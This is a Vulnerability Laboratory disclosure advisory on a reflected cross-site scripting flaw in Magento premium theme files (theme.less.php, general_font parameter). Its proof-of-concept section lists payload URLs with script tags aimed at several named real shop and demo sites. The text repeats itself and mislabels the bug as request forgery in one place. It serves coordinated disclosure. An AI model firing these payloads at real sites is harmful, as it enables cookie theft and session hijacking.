Vulnerability Laboratory ID (VL-ID):
====================================
1473
Common Vulnerability Scoring System:
====================================
3
Product & Service Introduction:
===============================
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.
Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability
inside our system, please tell us right away.
( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site request forgery web vulnerability in the official Magento Commerce online service web-application.
Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the official Magento Commerce Premium Theme front-end web-application.
The non-persistent xss vulnerability allows remote attackers to inject own script code to the application-side of the vulnerable online-service module.
The vulnerability is located in the `general_front` values of the `/css/theme.less.php` front-end template file. Remote attackers are able to inject own
script codes to client-side application requests. The attack vector is non persistent and the request method to inject/execute is GET. The vulnerable
source is located in the magento premium theme and the stable release.
The security risk of the cross site web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.0.
Exploitation of the cross site scripting web vulnerability requires no privileged web application user account and no user interaction.
Successful exploitation results in client-side account theft by hijacking, client-side phishing, client-side external redirects and
non-persistent manipulation of affected or connected service modules.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] css/less
Vulnerable File(s):
[+] theme.less.php
Vulnerable Parameter(s):
[+] general_front
Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged application user account and with low user interaction(click).
For security demonstration or to reproduce the security vulnerability follow the provided infomation and steps below to continue.
Solution - Fix & Patch:
=======================
Restrict the input of the general_font value by disallowing the usage of special chars.
Encode and parse the vulnerable file parameters to prevent client-side script code injection attacks.
Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in the frontend is estimated as medium. (CVSS 3.0)
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin (at) vulnerability-lab (dot) com [email concealed] or research (at) vulnerability-lab (dot) com [email concealed]) to get a permission.
===============
Ebay Magento Bug Bounty #17 - Client Side Cross Site Scripting Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1473
EIBBP-31541
Release Date:
=============
2015-06-15
Vulnerability Laboratory ID (VL-ID):
====================================
1473
Common Vulnerability Scoring System:
====================================
3
Product & Service Introduction:
===============================
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.
Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability
inside our system, please tell us right away.
( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site request forgery web vulnerability in the official Magento Commerce online service web-application.
Vulnerability Disclosure Timeline:
==================================
2015-02-20: Researcher Notification & Coordination (Hadji Samir)
2015-02-21: Vendor Notification (Magento Team - Bug Bounty Program)
2015-03-10: Vendor Response/Feedback (Magento Security Team - Bug Bounty Program)
2015-05-12: Vendor Fix/Patch (Magento Developer Team)
2015-06-15: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Ebay Inc.
Product: Magento - Premium Themes 2015 Q1
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the official Magento Commerce Premium Theme front-end web-application.
The non-persistent xss vulnerability allows remote attackers to inject own script code to the application-side of the vulnerable online-service module.
The vulnerability is located in the `general_front` values of the `/css/theme.less.php` front-end template file. Remote attackers are able to inject own
script codes to client-side application requests. The attack vector is non persistent and the request method to inject/execute is GET. The vulnerable
source is located in the magento premium theme and the stable release.
The security risk of the cross site web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.0.
Exploitation of the cross site scripting web vulnerability requires no privileged web application user account and no user interaction.
Successful exploitation results in client-side account theft by hijacking, client-side phishing, client-side external redirects and
non-persistent manipulation of affected or connected service modules.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] css/less
Vulnerable File(s):
[+] theme.less.php
Vulnerable Parameter(s):
[+] general_front
Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged application user account and with low user interaction(click).
For security demonstration or to reproduce the security vulnerability follow the provided infomation and steps below to continue.
Vulnerable Source(s):
http://www.gutzzi.com/skin/frontend/default/em0121/css/less/theme.less.p
hp?%40variables_url=%22http%3A%2F%2Fwww.gutzzi.com%2Fskin%2Ffrontend%2Fd
efault%2Fem0121%2Fcss%2Fless%2Ftheme.less%22&%40function_url=%22http%3A%
2F%2Fwww.gutzzi.com%2Fskin%2Ffrontend%2Fdefault%2Fem0121%2Fcss%2Fless%2F
functions.less%22&%40screen-large-desktop=1200px&%40screen-desktop=992px
&%40screen-tablet=768px&%40desktop=%7E%22%28max-width%3A+767px%29%22&%40
tablet=%7E%22only+screen+and+%28min-width%3A+720px%29+and+%28max-width%3
A+959px%29%22&%40page_bg_color=%23ffffff&%40page_bg_position=%7E%220+0%2
2&%40page_bg_repeat=repeat&%40box_shadow=%7E%220+0+5px+0+%23c4c4c3%22&%4
0rounded_corner=0&%40general_font=%7E%22normal+13px%2F1.35+Raleway%2CAri
al%2CHelvetica%2Csans-serif%22&%40h1_font=%7E%22normal+22px%2F1.35+Ralew
ay%2CArial%2CHelvetica%2Csans-serif%22&%40h2_font=%7E%22normal+20px%2F1.
35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h3_font=%7E%22normal+1
8px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h4_font=%7E%22
normal+16px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h5_fon
t=%7E%22normal+14px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%
40h6_font=%7E%22normal+12px%2F1.35+Raleway%2Chelvetica%2Carial%2Csans-se
rif%22&%40header_bg_color=%23ffffff&%40header_bg2_color=%23a4d0d9&%40hea
der_bg3_color=%23ffffff&%40header_bg4_color=%23eff7f8&%40header_bg5_colo
r=%23a4d0d9&%40header_bg_position=%7E%220+0%22&%40header_bg_repeat=repea
t&%40header_text_color=%23999999&%40header_text2_color=%23686868&%40head
er_text4_color=%23ffffff&%40header_text5_color=%23000000&%40header_line_
color=%23eaeaea&%40topmenu_text_color=%23999999&%40topmenu_hover_text_co
lor=%23686868&%40topmenu_line_color=%23a4d0d9&%40topmenu_font=%7E%22500+
15px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40dropmenu_bg_c
olor=%23ffffff&%40dropmenu_text_color=%23666666&%40dropmenu_text2_color=
%23a4d0d9&%40dropmenu_line_color=%23d3d3d3&%40dropmenu_font=%7E%22normal
+13px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40body_bg_colo
r=%23ffffff&%40body_bg2_color=%23ffffff&%40body_bg3_color=%23ffffff&%40b
ody_bg4_color=%23abd4dc&%40body_bg6_color=%23f6f6f6&%40body_bg_position=
%7E%220+0%22&%40body_bg_repeat=repeat&%40body_text_color=%23ffffff&%40bo
dy_text2_color=%23666666&%40body_text3_color=%23686868&%40body_text4_col
or=%23999999&%40body_text5_color=%23abd4dc&%40body_text6_color=%23ff8401
&%40body_line_color=%23d1d1d1&%40body_line2_color=%23eaeaea&%40body_line
3_color=%23abd4dc&%40title_font=%7E%22500+15px%2F1.35+Raleway%2CArial%2C
Helvetica%2Csans-serif%22&%40footer_bg_color=%23ffffff&%40footer_bg2_col
or=%23a4d0d9&%40footer_bg3_color=%23999999&%40footer_bg4_color=%23f2f2f2
&%40footer_bg_position=%7E%220+0%22&%40footer_bg_repeat=repeat&%40footer
_text_color=%23666666&%40footer_text2_color=%23000000&%40footer_text3_co
lor=%23a4d0d9&%40footer_text4_color=%23999999&%40footer_text5_color=%23f
fffff&%40footer_line_color=%23d9d9d9&%40btn1_bg_color=%23a4d0d9&%40btn1_
text_color=%23ffffff&%40btn1_line_color=%23a4d0d9&%40btn1_font=%7E%22500
+13px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40btn2_bg_colo
r=%23686868&%40btn2_text_color=%23ffffff&%40btn2_line_color=%23686868&%4
0btn2_font=%7E%22500+13px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-seri
f%22&%40image_bg_url=%7E%22http%3A%2F%2Fwww.gutzzi.com%2F%22&%40page_bg_
image=%7E%22skin%2Ffrontend%2Fdefault%2Fem0121%2Fimages%2Fstripes%2Fblan
k.gif%22&%40header_bg_image=%7E%22skin%2Ffrontend%2Fdefault%2Fem0121%2Fi
mages%2Fstripes%2Fblank.gif%22&%40body_bg_image=%7E%22skin%2Ffrontend%2F
default%2Fem0121%2Fimages%2Fstripes%2Fblank.gif%22&%40footer_bg_image=%7
E%22skin%2Ffrontend%2Fdefault%2Fem0121%2Fimages%2Fstripes%2Fblank.gif%22
"
PoC(s):
http://www.ediwear.com/skin/frontend/default/em0121/css/less/theme.less.
php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://saadelectronics.com/skin/frontend/default/galatitanshop/css/less/
theme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/sc
ript%3E
http://saadeperfumes.com/skin/frontend/default/galatitanshop/css/less/th
eme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/scri
pt%3E
www.diamantiegemme.com/skin/frontend/default/em0121/css/less/theme.less.
php?general_font=<script>alert(document.cookie)</script>
http://www.gutzzi.com/skin/frontend/default/em0121/css/less/theme.less.p
hp?general_font=%3Cscript%3Ealert%28%27samir%27%29%3C/script%3E
http://www.emthemes.com/premium-magento-themes.html
http://www.emthemes.com/demo/#em0116
http://demo.emthemes.com/ticker/skin/frontend/default/em0116/css/less/th
eme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/scri
pt%3E
http://demo.emthemes.com/ticker/skin/frontend/default/em0116/css/less/th
eme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/scri
pt%3E
http://demo.emthemes.com/megamart/skin/frontend/default/em0119/css/theme
.css.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3
E
http://demo.emthemes.com/markpro/skin/frontend/default/em0089/css/theme.
css.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://www.emthemes.com/premium-magento-themes.html
http://demo.emthemes.com/superstore/skin/frontend/default/em0096/css/the
me.css.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script
%3E
http://demo.emthemes.com/gala-shopmore/skin/frontend/default/galashopmor
e/css/theme.css.php?general_font=%3Cscript%3Ealert%28document.cookie%29%
3C/script%3E
Solution - Fix & Patch:
=======================
Restrict the input of the general_font value by disallowing the usage of special chars.
Encode and parse the vulnerable file parameters to prevent client-side script code injection attacks.
Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in the frontend is estimated as medium. (CVSS 3.0)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz (at) hotmail (dot) fr [email concealed]]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin (at) vulnerability-lab (dot) com [email concealed] - research (at) vulnerability-lab (dot) com [email concealed] - admin (at) evolution-sec (dot) com [email concealed]
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Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin (at) vulnerability-lab (dot) com [email concealed] or research (at) vulnerability-lab (dot) com [email concealed]) to get a permission.
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